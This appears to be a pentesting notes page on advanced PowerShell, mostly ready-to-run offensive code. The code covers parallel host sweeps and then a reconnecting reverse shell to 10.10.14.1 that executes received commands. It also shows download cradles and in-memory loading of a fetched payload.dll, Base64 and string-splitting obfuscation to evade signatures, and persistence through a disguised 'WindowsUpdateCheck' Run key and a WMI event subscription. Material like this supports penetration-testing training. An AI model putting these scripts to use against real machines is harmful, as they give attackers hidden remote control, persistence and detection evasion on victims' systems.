Skip to content

PowerShell scripting for pentesting - advanced

Builds on PowerShell scripting for pentesting. Covers parallelization, resilience, obfuscation and stealthier persistence.

Parallelizing scans with jobs and runspaces

# Background jobs (simple, higher overhead)
1..254 | ForEach-Object {
    Start-Job -ScriptBlock {
        param($i)
        if (Test-Connection -ComputerName "10.10.10.$i" -Count 1 -Quiet) {
            Write-Output "10.10.10.$i is up"
        }
    } -ArgumentList $_
} | Out-Null

Get-Job | Wait-Job | Receive-Job
Get-Job | Remove-Job

# ForEach-Object -Parallel (PowerShell 7+, much lighter than jobs)
1..254 | ForEach-Object -Parallel {
    if (Test-Connection -ComputerName "10.10.10.$_" -Count 1 -Quiet) {
        Write-Output "10.10.10.$_ is up"
    }
} -ThrottleLimit 20

Robust error handling and cleanup

$ErrorActionPreference = "Stop"
$tmpDir = Join-Path $env:TEMP ([guid]::NewGuid())
New-Item -ItemType Directory -Path $tmpDir | Out-Null

try {
    # ... use $tmpDir for scratch files during an engagement ...
} catch {
    Write-Output "[!] error: $($_.Exception.Message)"
} finally {
    Write-Output "[*] cleaning up $tmpDir"
    Remove-Item -Path $tmpDir -Recurse -Force -ErrorAction SilentlyContinue
}

# Trap Ctrl+C at the console-host level
$null = Register-EngineEvent -SourceIdentifier PowerShell.Exiting -Action {
    Write-Output "[!] session ending, cleaning up"
}

Retrying flaky network operations

function Invoke-Retry {
    param(
        [scriptblock]$ScriptBlock,
        [int]$Attempts = 5,
        [int]$DelaySeconds = 3
    )
    for ($n = 1; $n -le $Attempts; $n++) {
        try {
            return & $ScriptBlock
        } catch {
            if ($n -eq $Attempts) { throw }
            Start-Sleep -Seconds $DelaySeconds
        }
    }
}

Invoke-Retry -ScriptBlock { Invoke-WebRequest -Uri http://10.10.14.1:8000/stage2.ps1 -UseBasicParsing }

Reconnecting reverse shell watchdog

$target = "10.10.14.1"
$port = 443

while ($true) {
    try {
        $client = New-Object System.Net.Sockets.TCPClient($target, $port)
        $stream = $client.GetStream()
        [byte[]]$bytes = 0..65535 | ForEach-Object { 0 }
        while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
            $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
            $sendback = (iex $data 2>&1 | Out-String)
            $sendback2 = $sendback + "PS " + (pwd).Path + "> "
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
            $stream.Write($sendbyte, 0, $sendbyte.Length)
            $stream.Flush()
        }
        $client.Close()
    } catch {
        Write-Output "[!] connection lost, retrying in 10s" | Out-Null
    }
    Start-Sleep -Seconds 10
}

Basic obfuscation

# Base64-encode a full command for -EncodedCommand
$command = 'Write-Output "hello"'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

# String concatenation/reordering to avoid literal signatures on disk
$a = "Wr"; $b = "ite-Ob"; $c = "ject"
& ($a + $b + $c) "hello"

# Character substitution / case randomization (defeats naive string matching, not AMSI)
IEX ("{0}{1}" -f 'Write-','Output "hello"')

See DOSfuscation, bashfuscator (cross-shell obfuscation concepts) and AMSI considerations before relying on these against modern EDR.

Living off the land: avoiding dropped binaries

1
2
3
4
5
6
7
8
9
# Download cradle: fetch and execute in memory
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1:8000/script.ps1')

# Via Invoke-Expression + Invoke-RestMethod
IEX (Invoke-RestMethod -Uri http://10.10.14.1:8000/script.ps1)

# Reflectively load a .NET assembly from memory
$bytes = (New-Object Net.WebClient).DownloadData('http://10.10.14.1:8000/payload.dll')
[System.Reflection.Assembly]::Load($bytes)

Stealthier persistence

# Hide the PowerShell window and suppress the profile/banner
powershell -WindowStyle Hidden -NoProfile -NonInteractive -Command "..."

# Registry Run key persistence
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
    -Name "WindowsUpdateCheck" `
    -Value "powershell -WindowStyle Hidden -NoProfile -Command IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1:8000/c.ps1')"

# WMI event subscription persistence (survives without a scheduled task/registry entry)
$filterArgs = @{
    Name = "UpdateCheckFilter"
    EventNamespace = "root\cimv2"
    QueryLanguage = "WQL"
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 300 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments $filterArgs

Timing and detection evasion basics

1
2
3
4
5
# Jitter between requests to avoid trivial rate-based detections
Get-Content targets.txt | ForEach-Object {
    Invoke-WebRequest -Uri "http://$_/" -UseBasicParsing | Out-Null
    Start-Sleep -Seconds (Get-Random -Minimum 2 -Maximum 8)
}
Last update: 2026-07-27
Created: July 27, 2026 16:17:23